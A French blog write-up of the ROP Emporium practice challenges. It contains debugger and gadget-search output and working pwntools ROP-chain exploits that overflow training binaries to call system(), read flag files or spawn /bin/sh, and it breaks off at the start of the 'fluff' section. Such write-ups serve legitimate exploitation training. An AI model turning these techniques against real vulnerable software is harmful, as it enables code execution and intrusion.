P0pR0cK5's Blog

Pentest, Challenges, Tests and more ...

View on GitHub

J'ai terminé ROP Emporium

Retour

cover

ROPEmporium

Ces challenges ont pour but d’initier aux joies du Return Oriented Programming (le ROP). Les challenges sont centrés sur le développement de ROP chain et vous dispense donc de toute la partie reverse engineering ou recherche de bug.

Ma cheat sheet favorite pour avoir des références rapides : https://web.stanford.edu/class/cs107/resources/onepage_x86-64.pdf

Ret2Win

Ce challenge est plutôt bien expliqué, le but est d’appeler une fonction du nom de ret2win. La première étape est donc de trouver ou se situe cette fonction avec radare2 :

root@kali:~/rop_emporium/ret2win# r2 ret2win 
[0x00400650]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (aaft)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00400650]> f
...
0x004007b5 92 sym.pwnme
0x00400811 32 sym.ret2win
...
[0x00400650]> pdf @sym.ret2win
/ (fcn) sym.ret2win 32
|   sym.ret2win ();
|           0x00400811      55             push rbp
|           0x00400812      4889e5         mov rbp, rsp
|           0x00400815      bfe0094000     mov edi, str.Thank_you__Here_s_your_flag: ; 0x4009e0 ; "Thank you! Here's your flag:" ; const char *format
|           0x0040081a      b800000000     mov eax, 0
|           0x0040081f      e8ccfdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00400824      bffd094000     mov edi, str.bin_cat_flag.txt ; 0x4009fd ; "/bin/cat flag.txt" ; const char *string
|           0x00400829      e8b2fdffff     call sym.imp.system         ; int system(const char *string)
|           0x0040082e      90             nop
|           0x0040082f      5d             pop rbp
\           0x00400830      c3             ret
[0x00400650]> 

La fonction se trouve a l’adresse 0x00400811 et elle lance un cat flag.txt. Maintenant trouvons l’offset avec lequel nous pouvons faire un dépassement de tampon :

root@kali:~/rop_emporium/ret2win# gdb ret2win
gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r 
Starting program: /root/rop_emporium/ret2win/ret2win 
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe080 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
RBX: 0x0 
RCX: 0xfbad2288 
RDX: 0x7fffffffe080 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
RSI: 0x7ffff7fab8d0 --> 0x0 
RDI: 0x7fffffffe081 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffe0a8 ("AA0AAFAAb")
RIP: 0x400810 (<pwnme+91>:	ret)
R8 : 0x0 
R9 : 0x7ffff7fb0500 (0x00007ffff7fb0500)
R10: 0x602010 --> 0x0 
R11: 0x246 
R12: 0x400650 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe190 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400809 <pwnme+84>:	call   0x400620 <fgets@plt>
   0x40080e <pwnme+89>:	nop
   0x40080f <pwnme+90>:	leave  
=> 0x400810 <pwnme+91>:	ret    
   0x400811 <ret2win>:	push   rbp
   0x400812 <ret2win+1>:	mov    rbp,rsp
   0x400815 <ret2win+4>:	mov    edi,0x4009e0
   0x40081a <ret2win+9>:	mov    eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe0a8 ("AA0AAFAAb")
0008| 0x7fffffffe0b0 --> 0x400062 --> 0x1f8000000000000 
0016| 0x7fffffffe0b8 --> 0x7ffff7e1209b (<__libc_start_main+235>:	mov    edi,eax)
0024| 0x7fffffffe0c0 --> 0x0 
0032| 0x7fffffffe0c8 --> 0x7fffffffe198 --> 0x7fffffffe479 ("/root/rop_emporium/ret2win/ret2win")
0040| 0x7fffffffe0d0 --> 0x100000000 
0048| 0x7fffffffe0d8 --> 0x400746 (<main>:	push   rbp)
0056| 0x7fffffffe0e0 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400810 in pwnme ()
gdb-peda$ pattern offset AA0AAFAAb
AA0AAFAAb found at offset: 40

Le registre RSP contient le pattern AA0AAFAAb a l’offset 40. Nous devons donc écrire 40 caractères pour créer un dépassement de tampon exploitable. Maintenant, écrivons un court exploit avec la suite d’étapes suivantes :

  • Ouvrir le binaire en mode ELF
  • Extraire l’adresse de la fonction
  • Créer un payload contenant l’adresse de la fonction et les 40 octets de bourrage
  • Envoyer ce payload dans le binaire
from pwn import *

# Ouverture du binaire pour le traiter avec pwntools
elf = context.binary = ELF('ret2win')

# afficher l addresse de la fonction ret2win
info("Addresse de la fonction visée : %#x", elf.symbols.ret2win)

# création du process pour intéragir avec le binaire
p = process(elf.path)

# recuperation de laddr de ret2win
ret2win = p64(elf.symbols.ret2win)

# creation du payload
payload = "A"*40 + ret2win

# interaction avec le binaire et envoie du payload
p.sendline(payload)
p.recvuntil("Here's your flag:")

# reception du flag
flag = p.recvline()
success(flag)

Une fois lancé :

root@kali:~/rop_emporium/ret2win# python exploit.py 
[*] '/root/rop_emporium/ret2win/ret2win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] 0x400811 target
[+] Starting local process '/root/rop_emporium/ret2win/ret2win': pid 31770
[+] ROPE{a_placeholder_32byte_flag!}
[*] Stopped process '/root/rop_emporium/ret2win/ret2win' (pid 31770)

Split

Pour rappel, le but ici est de récupérer le contenus du fichier flag.txt. La première étape est de visualiser les sécurités en place sur le binaire :

root@kali:~/rop_emporium/split# rabin2 -I split
arch     x86
baddr    0x400000
binsz    7137
bintype  elf
bits     64
canary   false
sanitiz  false
class    ELF64
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
static   false
stripped false
subsys   linux
va       true

Le NX est activé obligeant l’utilisation du ROP (ça tombe bien non ?). Maintenant cherchons les chaînes de caractère :

root@kali:~/rop_emporium/split# rabin2 -z split
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x000008a8 0x004008a8  21  22 (.rodata) ascii split by ROP Emporium
001 0x000008be 0x004008be   7   8 (.rodata) ascii 64bits\n
002 0x000008c6 0x004008c6   8   9 (.rodata) ascii \nExiting
003 0x000008d0 0x004008d0  43  44 (.rodata) ascii Contriving a reason to ask user for data...
004 0x000008ff 0x004008ff   7   8 (.rodata) ascii /bin/ls
000 0x00001060 0x00601060  17  18 (.data) ascii /bin/cat flag.txt

Les fonctions :

root@kali:~/rop_emporium/split# rabin2 -i split
[Imports]
Num  Vaddr       Bind      Type Name
   1 0x004005d0  GLOBAL    FUNC puts
   2 0x004005e0  GLOBAL    FUNC system
   3 0x004005f0  GLOBAL    FUNC printf
   4 0x00400600  GLOBAL    FUNC memset
   5 0x00400610  GLOBAL    FUNC __libc_start_main
   6 0x00400620  GLOBAL    FUNC fgets
   7 0x00000000    WEAK  NOTYPE __gmon_start__
   8 0x00400630  GLOBAL    FUNC setvbuf
   7 0x00000000    WEAK  NOTYPE __gmon_start__

Le pop rdi :

root@kali:~/rop_emporium/split# ROPgadget --binary split | grep "rdi"
0x0000000000400883 : pop rdi ; ret

Nous allons ici utiliser la fonction system pour appeler la string /bin/cat flag.txt. Pour ce faire, nous devons mettre la chaîne /bin/cat flag.txt dans le registre rdi. Pourquoi rdi ? simplement parce qu’il s’agit du registre contenant le premier argument d’une fonction (cf ma cheat sheet).

Voici une représentation de la pile souhaitée :

valeur de bourrage
pop rdi
/bin/cat flag.txt
system

Nous allons donc ici récupérer la valeur /bin/cat flag.txt et la placer dans rdi avec l’instruction pop rdi ; ret, puis lancer un appel a la fonction system pour exécuter le contenus de rdi.

Déterminons maintenant la taille du bourrage nécessaire à créer un dépassement de tampon :

gdb-peda$ pattern_create 64
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'
gdb-peda$ r
Starting program: /root/rop_emporium/split/split 
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe070 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH\n")
RBX: 0x0 
RCX: 0xfbad2288 
RDX: 0x7fffffffe070 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH\n")
RSI: 0x7ffff7fab8d0 --> 0x0 
RDI: 0x7fffffffe071 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH\n")
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffe098 ("AA0AAFAAbAA1AAGAAcAA2AAH\n")
RIP: 0x400806 (<pwnme+81>:	ret)
R8 : 0x6022a1 --> 0x0 
R9 : 0x7ffff7fb0500 (0x00007ffff7fb0500)
R10: 0x602010 --> 0x0 
R11: 0x246 
R12: 0x400650 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe180 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4007ff <pwnme+74>:	call   0x400620 <fgets@plt>
   0x400804 <pwnme+79>:	nop
   0x400805 <pwnme+80>:	leave  
=> 0x400806 <pwnme+81>:	ret    
   0x400807 <usefulFunction>:	push   rbp
   0x400808 <usefulFunction+1>:	mov    rbp,rsp
   0x40080b <usefulFunction+4>:	mov    edi,0x4008ff
   0x400810 <usefulFunction+9>:	call   0x4005e0 <system@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe098 ("AA0AAFAAbAA1AAGAAcAA2AAH\n")
0008| 0x7fffffffe0a0 ("bAA1AAGAAcAA2AAH\n")
0016| 0x7fffffffe0a8 ("AcAA2AAH\n")
0024| 0x7fffffffe0b0 --> 0xa ('\n')
0032| 0x7fffffffe0b8 --> 0x7fffffffe188 --> 0x7fffffffe46f ("/root/rop_emporium/split/split")
0040| 0x7fffffffe0c0 --> 0x100000000 
0048| 0x7fffffffe0c8 --> 0x400746 (<main>:	push   rbp)
0056| 0x7fffffffe0d0 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400806 in pwnme ()
gdb-peda$ x/wx $rsp
0x7fffffffe098:	0x41304141
gdb-peda$ pattern_offset 0x41304141
1093681473 found at offset: 40

Nous avons besoin de 40 octets de bourrage pour notre exploit :

#!/usr/bin/env python

from pwn import * 

junk = "A"*40
pop_rdi = p64(0x400883)
cat_str = p64(0x601060)
system = p64(0x4005e0)

p = process("./split")

payload = junk + pop_rdi + cat_str + system 

info("Send magic bytes in binary")

p.recvuntil(">")
p.sendline(payload)
out=p.recvline()
success(out)

Une fois lancé :

root@kali:~/rop_emporium/split# python exploit.py 
[+] Starting local process './split': pid 23993
[*] Send magic bytes in binary
[+]  ROPE{a_placeholder_32byte_flag!}
[*] Stopped process './split' (pid 23993)

callme

Dans ce challenge nous devons appeler les fonctions callme_one() , callme_two() et callme_three() dans l’ordre exact. Ces fonctions doivent être appelé avec le paramètre 1,2,3 (par exemple callme_one(1,2,3)..).

Pour cela, nous allons devoir utiliser les registres suivants pour passer les paramètres :

  • RDI
  • RSI
  • RDX

Nous allons ensuite appeler les fonctions concernées :

root@kali:~/rop_emporium/callme# objdump callme -d | grep ".*@plt"
  4017d0:       e8 bb 00 00 00          callq  401890 <__gmon_start__@plt>
0x4017f0 <puts@plt>:
0x401800 <printf@plt>:
0x401810 <callme_three@plt>:
0x401820 <memset@plt>:
0x401830 <__libc_start_main@plt>:
0x401840 <fgets@plt>:
0x401850 <callme_one@plt>:
0x401860 <setvbuf@plt>:
0x401870 <callme_two@plt>:
0x401880 <exit@plt>:
0x401890 <__gmon_start__@plt>:

Elles se situent à ces adresses :

  • 0x401850 <callme_one@plt>
  • 0x401870 <callme_two@plt>
  • 0x401810 <callme_three@plt>

Nous devons également trouver la gadget pointant vers des pop :

root@kali:~/rop_emporium/callme# ROPgadget --binary callme | grep "rsi"
0x401aae : add byte ptr [rax], al ; pop rdi ; pop rsi ; pop rdx ; ret
0x401aad : add byte ptr [rax], r8b ; pop rdi ; pop rsi ; pop rdx ; ret
0x401aab : nop dword ptr [rax + rax] ; pop rdi ; pop rsi ; pop rdx ; ret
0x401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
0x401b21 : pop rsi ; pop r15 ; ret
0x401ab1 : pop rsi ; pop rdx ; ret
0x401987 : sal byte ptr [rcx + rsi*8 + 0x55], 0x48 ; mov ebp, esp ; call rax

Nous avons ici un gadget qui fera le job pour tous les paramètres : 0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret

Nous allons donc faire comme suis :

0x401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
0x01
0x02
0x03
0x401850 callme_one@plt
0x401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
0x01
0x02
0x03
0x401870 callme_two@plt
0x401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
0x01
0x02
0x03
0x401810 callme_three@plt

Note : J’ai volontairement retiré la partie liée au bourrage, elle est déjà expliquée a deux reprises pour les challenges précédents. La valeur ici est de 40 octets également.

Voici l’exploit :

root@kali:~/rop_emporium/callme# cat exploit.py 
#!/usr/bin/env python

from pwn import * 

junk = "A"*40
pop_rdi_rsi_rdx = p64(0x401ab0)
param1 = p64(1)  
param2 = p64(2)  
param3 = p64(3)  
callme1 = p64(0x401850)
callme2 = p64(0x401870)
callme3 = p64(0x401810)

p = process("./callme")

payload = junk + pop_rdi_rsi_rdx +  param1 + param2 + param3 + callme1 + pop_rdi_rsi_rdx + param1 + param2 + param3 + callme2 + pop_rdi_rsi_rdx + param1 + param2 + param3 + callme3 

info("Send magic bytes in binary")
p.recvuntil(">")
p.sendline(payload)
out=p.recvall()
success(out)

Write4

Dans ce challenge nous devons écrire de données en mémoire. Deux solutions possibles /bin/cat flat.txt et /bin/bash. La première étape est de trouver ou mettre nos données :

root@kali:~/rop_emporium/write4# rabin2 -S write4 | grep "rw"
19 0x00000e10     8 0x00600e10     8 -rw- .init_array
20 0x00000e18     8 0x00600e18     8 -rw- .fini_array
21 0x00000e20     8 0x00600e20     8 -rw- .jcr
22 0x00000e28   464 0x00600e28   464 -rw- .dynamic
23 0x00000ff8     8 0x00600ff8     8 -rw- .got
24 0x00001000    80 0x00601000    80 -rw- .got.plt
25 0x00001050    16 0x00601050    16 -rw- .data
26 0x00001060     0 0x00601060    48 -rw- .bss

Nous allons donc écrire dans la partie .data mais comment ? Déjà il faut trouver un moyen d’écrire directement a l’endroit mémoire souhaité. Mais ce n’est pas si simple, aucun gadget ne fait un mov vers l’adresse de .data.

L’idée est donc la suivante :

  • Copier 0x00001050 dans un registre
  • Copier /bin/sh dans un autre registre
  • Trouver un gadget qui déplacerais l’un dans l’autre

étant donné que nous utilisons une adresse il faut trouver un gadget movqui pointe vers un ptr :

root@kali:~/rop_emporium/write4# ROPgadget --binary write4 | grep "mov .* ptr"
0x000000000040081c : add byte ptr [rax], al ; add byte ptr [rax], al ; mov qword ptr [r14], r15 ; ret
0x000000000040081e : add byte ptr [rax], al ; mov qword ptr [r14], r15 ; ret
0x0000000000400713 : mov byte ptr [rip + 0x20096e], 1 ; ret
0x0000000000400821 : mov dword ptr [rsi], edi ; ret
0x00000000004005b1 : mov eax, dword ptr [rax] ; add byte ptr [rax], al ; add rsp, 8 ; ret
0x0000000000400877 : mov edi, edi ; call qword ptr [r12 + rbx*8]
0x0000000000400876 : mov edi, r15d ; call qword ptr [r12 + rbx*8]
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20096e], 1 ; ret
0x000000000040081a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; mov qword ptr [r14], r15 ; ret

Le gadget 0x0000000000400820 : mov qword ptr [r14], r15 ; ret semble idéal. Néanmoins la quantité de données déplacé est un QWORD soit 8 octets. La chaîne /bin/sh fait 7 Octets, nous allons donc écrire /bin/sh0x00 a la place.
Maintenant il faut trouver des instructions pop utilisable pour préparer notre mov :

root@kali:~/rop_emporium/write4# ROPgadget --binary write4 | grep "pop r14"
0x000000000040088c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
0x000000000040088b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040088d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

Ici, 0x0000000000400890 : pop r14 ; pop r15 ; ret dois faire le job.

Ensuite, nous reprenons les routines des challenges précédents, il faut appeler system(), le pop rdi et déterminer la valeur de bourrage requise pour réécrire la stack :

root@kali:~/rop_emporium/write4# rabin2 -i write4
[Imports]
Num  Vaddr       Bind      Type Name
   1 0x004005d0  GLOBAL    FUNC puts
   2 0x004005e0  GLOBAL    FUNC system
   3 0x004005f0  GLOBAL    FUNC printf
   4 0x00400600  GLOBAL    FUNC memset
   5 0x00400610  GLOBAL    FUNC __libc_start_main
   6 0x00400620  GLOBAL    FUNC fgets
   7 0x00000000    WEAK  NOTYPE __gmon_start__
   8 0x00400630  GLOBAL    FUNC setvbuf
   7 0x00000000    WEAK  NOTYPE __gmon_start__

Nous allons donc appeler system avec l’adresse 0x004005e0.

root@kali:~/rop_emporium/write4# ROPgadget --binary write4 | grep "pop rdi"
0x0000000000400893 : pop rdi ; ret

Le pop rdi se trouve donc a 0x400893.

Une nouvelle fois nous occulterons cette partie répétitive. Taille du bourrage : 40

Voici l’exploit :

#!/usr/bin/env python

from pwn import * 

junk = "A"*40
pop_rdi = p64(0x400893)
data_addr = p64(0x601050)
system = p64(0x4005e0)

binsh = "/bin/sh\x00" #/bin//sh work too
mov_qword = p64(0x400820)
pop_r14_r15 = p64(0x400890)


p = process("./write4")

payload = junk
payload += pop_r14_r15 
payload += data_addr 
payload += binsh 
payload += mov_qword 
payload += pop_rdi 
payload += data_addr 
payload += system 

print payload 

info("Send magic bytes in binary")

p.recvuntil(">")
p.sendline(payload)
p.interactive()

badchars

Ce challenge est globalement le même qu’avant mais avec des caractères interdis. Avec radare2 nous trouvons la main qui appel une fonction pwnme qui appelle checkbadchars:

    ; CALL XREF from sym.pwnme (0x4009b0)
|           0x00400a40      55             push rbp
|           0x00400a41      4889e5         mov rbp, rsp
|           0x00400a44      48897dd8       mov qword [local_28h], rdi  ; arg1
|           0x00400a48      488975d0       mov qword [local_30h], rsi  ; arg2
|           0x00400a4c      c645e062       mov byte [local_20h], 0x62  ; 'b' ; 98
|           0x00400a50      c645e169       mov byte [local_1fh], 0x69  ; 'i' ; 105
|           0x00400a54      c645e263       mov byte [local_1eh], 0x63  ; 'c' ; 99
|           0x00400a58      c645e32f       mov byte [local_1dh], 0x2f  ; '/' ; 47
|           0x00400a5c      c645e420       mov byte [local_1ch], 0x20  ; 32
|           0x00400a60      c645e566       mov byte [local_1bh], 0x66  ; 'f' ; 102
|           0x00400a64      c645e66e       mov byte [local_1ah], 0x6e  ; 'n' ; 110
|           0x00400a68      c645e773       mov byte [local_19h], 0x73  ; 's' ; 115
|           0x00400a6c      48c745f80000.  mov qword [local_8h], 0
|           0x00400a74      48c745f00000.  mov qword [local_10h], 0
|           0x00400a7c      48c745f80000.  mov qword [local_8h], 0

Sans vraiment décortiquer le code nous trouvons plusieurs caractères qui sont ensuite comparés. Nous avons donc la liste suivante :

  • 0x62 ; ‘b’
  • 0x69 ; ‘i’
  • 0x63 ; ‘c’
  • 0x2f ; ‘/’
  • 0x20 ; ‘ ‘
  • 0x66 ; ‘f’
  • 0x6e ; ‘n’
  • 0x73 ; ‘s’

Maintenant nous cherchons des gadgets sans ces caractères conformément au challenge précédent. Le pop rdi :

root@kali:~/rop_emporium/badchar# ROPgadget --binary badchars --badbytes "62|63|69|2f|20|66|6e|73" | grep "pop rdi"
0x0000000000400b37 : add bl, al ; pop rdi ; ret
0x0000000000400b39 : pop rdi ; ret

Le mov ptr[14] r15 :

root@kali:~/rop_emporium/badchar# ROPgadget --binary badchars --badbytes "62|63|69|2f|20|66|6e|73" | grep "mov .* ptr"
0x0000000000400a38 : jb 0x400a15 ; mov rax, qword ptr [rbp - 8] ; pop rbp ; ret
0x0000000000400853 : mov byte ptr [rip + 0x20084e], 1 ; ret
0x0000000000400b35 : mov dword ptr [rbp], esp ; ret
0x0000000000400a3b : mov eax, dword ptr [rbp - 8] ; pop rbp ; ret
0x0000000000400b97 : mov edi, edi ; call qword ptr [r12 + rbx*8]
0x0000000000400b96 : mov edi, r15d ; call qword ptr [r12 + rbx*8]
0x0000000000400b34 : mov qword ptr [r13], r12 ; ret
0x0000000000400a3a : mov rax, qword ptr [rbp - 8] ; pop rbp ; ret
0x0000000000400852 : pop rbp ; mov byte ptr [rip + 0x20084e], 1 ; ret

Le seul mov encore disponible est celui a l’adresse 0x400b34 avec les registres r13 et r12.

Trouvons-le pop r12, pop r13, ret :

root@kali:~/rop_emporium/badchar# ROPgadget --binary badchars --badbytes "62|63|69|2f|20|66|6e|73" | grep "pop r13"
0x0000000000400bac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400b3b : pop r12 ; pop r13 ; ret
0x0000000000400bae : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400b3d : pop r13 ; ret
0x0000000000400bab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400bad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400b3c : pop rsp ; pop r13 ; ret

Nous trouvons quelque chose a l’adresse 0x400b3b. Maintenant passons aux adresses de system et de .data :

root@kali:~/rop_emporium/badchar# rabin2 -i badchars
[Imports]
Num  Vaddr       Bind      Type Name
   1 0x004006d0  GLOBAL    FUNC free
   2 0x004006e0  GLOBAL    FUNC puts
   3 0x004006f0  GLOBAL    FUNC system
   4 0x00400700  GLOBAL    FUNC printf
   5 0x00400710  GLOBAL    FUNC memset
   6 0x00400720  GLOBAL    FUNC __libc_start_main
   7 0x00400730  GLOBAL    FUNC fgets
   8 0x00000000    WEAK  NOTYPE __gmon_start__
   9 0x00400740  GLOBAL    FUNC memcpy
  10 0x00400750  GLOBAL    FUNC malloc
  11 0x00400760  GLOBAL    FUNC setvbuf
  12 0x00400770  GLOBAL    FUNC exit
   8 0x00000000    WEAK  NOTYPE __gmon_start__
root@kali:~/rop_emporium/badchar# rabin2 -S badchars
[Sections]
Nm Paddr       Size Vaddr      Memsz Perms Name
00 0x00000000     0 0x00000000     0 ---- 
01 0x00000238    28 0x00400238    28 -r-- .interp
02 0x00000254    32 0x00400254    32 -r-- .note.ABI_tag
03 0x00000274    36 0x00400274    36 -r-- .note.gnu.build_id
04 0x00000298    48 0x00400298    48 -r-- .gnu.hash
05 0x000002c8   384 0x004002c8   384 -r-- .dynsym
06 0x00000448   151 0x00400448   151 -r-- .dynstr
07 0x000004e0    32 0x004004e0    32 -r-- .gnu.version
08 0x00000500    48 0x00400500    48 -r-- .gnu.version_r
09 0x00000530    96 0x00400530    96 -r-- .rela.dyn
10 0x00000590   264 0x00400590   264 -r-- .rela.plt
11 0x00000698    26 0x00400698    26 -r-x .init
12 0x000006c0   192 0x004006c0   192 -r-x .plt
13 0x00000780     8 0x00400780     8 -r-x .plt.got
14 0x00000790  1074 0x00400790  1074 -r-x .text
15 0x00000bc4     9 0x00400bc4     9 -r-x .fini
16 0x00000bd0   103 0x00400bd0   103 -r-- .rodata
17 0x00000c38    84 0x00400c38    84 -r-- .eh_frame_hdr
18 0x00000c90   372 0x00400c90   372 -r-- .eh_frame
19 0x00000e10     8 0x00600e10     8 -rw- .init_array
20 0x00000e18     8 0x00600e18     8 -rw- .fini_array
21 0x00000e20     8 0x00600e20     8 -rw- .jcr
22 0x00000e28   464 0x00600e28   464 -rw- .dynamic
23 0x00000ff8     8 0x00600ff8     8 -rw- .got
24 0x00001000   112 0x00601000   112 -rw- .got.plt
25 0x00001070    16 0x00601070    16 -rw- .data
26 0x00001080     0 0x00601080    48 -rw- .bss
27 0x00001080    52 0x00000000    52 ---- .comment
28 0x00001bf7   268 0x00000000   268 ---- .shstrtab
29 0x000010b8  2040 0x00000000  2040 ---- .symtab
30 0x000018b0   839 0x00000000   839 ---- .strtab

Les adresses semblent ne pas contenir de caractères interdis :

  • .data @ 0x00601070
  • system @ 0x004006f0

Néanmoins c’est la partie liée a la chaîne /bin/sh. Contient des caractères interdits. Pour cela, nous allons trouver un gadget avec un xor :

root@kali:~/rop_emporium/badchar# ROPgadget --binary badchars --badbytes "62|63|69|2f|20|66|6e|73" | grep "xor"
0x0000000000400b2a : add byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; xor byte ptr [r15], r14b ; ret
0x0000000000400b2c : add byte ptr [rax], al ; add byte ptr [rax], al ; xor byte ptr [r15], r14b ; ret
0x0000000000400b2e : add byte ptr [rax], al ; xor byte ptr [r15], r14b ; ret
0x0000000000400b30 : xor byte ptr [r15], r14b ; ret
0x0000000000400b31 : xor byte ptr [rdi], dh ; ret

Le seul vraiment exploitable est xor byte ptr [r15], r14b ; retconsistant a faire un xor des données situé a l’adresse r15 avec la valeur de r14b (premier octet du registre) Néanmoins il faut modifier la partie relative aux pop car il faut insérer des données dans les registres r14bet r15 :

root@kali:~/rop_emporium/badchar# ROPgadget --binary badchars --badbytes "62|63|69|2f|20|66|6e|73" | grep "r13"
0x0000000000400b34 : mov qword ptr [r13], r12 ; ret
0x0000000000400bac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400b3b : pop r12 ; pop r13 ; ret
0x0000000000400bae : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400b3d : pop r13 ; ret
0x0000000000400bab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400bad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400b3c : pop rsp ; pop r13 ; ret

Le pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret a l’adresse 0x0000000000400bac fait le job.

Voici une idée de notre ROP chain :

pop R12, pop r13, pop r14, pop r15, ret  
“/bin/bash” Xored
@.data  
XOR key  
@.data+0  
mov [r13] r12  
xor [r15] r14b  
pop r15 x 7
@.data+n x 7
xor[r15] r14b x 7
pop rdi  
@.data  
system  

Nous utiliserons une clé égale à 2 car elle suffit à retirer les caractères interdits de la chaîne /bin//sh

Voyons voir la conversion ASCII puis le XOR :

/ b i n / / s h Ascii
2F 62 69 6E 2F 2F 73 68 HEX
2D 60 6B 6C 2D 2D 71 6a XOR

Le code finale est le suivant :

#!/usr/bin/env python

from pwn import *

junk = "A"*40
pop_rdi = p64(0x400b39)
data_addr = 0x6010f0
system = p64(0x4006f0)

binsh = p64(0x2d606b6c2d2d716a, endianness="big")
mov_r13_r12 = p64(0x400b34)
pop_r12_r13_r14_r15 = p64(0x400bac)
pop_r15 = p64(0x400b42)
xor_key = p64(2)
xor_r15_r14b = p64(0x400b30)

payload = junk
payload += pop_r12_r13_r14_r15
payload += binsh
payload += p64(data_addr)
payload += xor_key
payload += p64(data_addr)
payload += mov_r13_r12
payload += xor_r15_r14b

payload += pop_r15
payload += p64(data_addr + 1)
payload += xor_r15_r14b

payload += pop_r15
payload += p64(data_addr + 2)
payload += xor_r15_r14b

payload += pop_r15
payload += p64(data_addr + 3)
payload += xor_r15_r14b

payload += pop_r15
payload += p64(data_addr + 4)
payload += xor_r15_r14b

payload += pop_r15
payload += p64(data_addr + 5)
payload += xor_r15_r14b

payload += pop_r15
payload += p64(data_addr + 6)
payload += xor_r15_r14b

payload += pop_r15
payload += p64(data_addr + 7)
payload += xor_r15_r14b

payload += pop_rdi
payload += p64(data_addr)
payload += system

#print payload
p = process("./badchars")
#gdb.attach(p, '''
#b checkBadchars
#''')

p.sendline(payload)
p.interactive()

Note : Une boucle serais plus élégante mais je préfère avoir une vision plus globale de mon rop chain.

fluff

Ce challenge est proche de Write4, mais ce dernier pose quelques petites difficultés en plus de par le nombre de gadgets directement utilisables sont réduits. Lançons GDB-peda pour trouver la taille des valeurs de bourrage nécessaire pour créer le buffer overflow (BOF).

La valeur est identique aux précédents : 40 octets.

Avec ROPgadget, je cherche un gadget valable pour pop rdi :

root@kali:~/rop_emporium/fluff# ROPgadget --binary fluff | grep "pop rdi" 
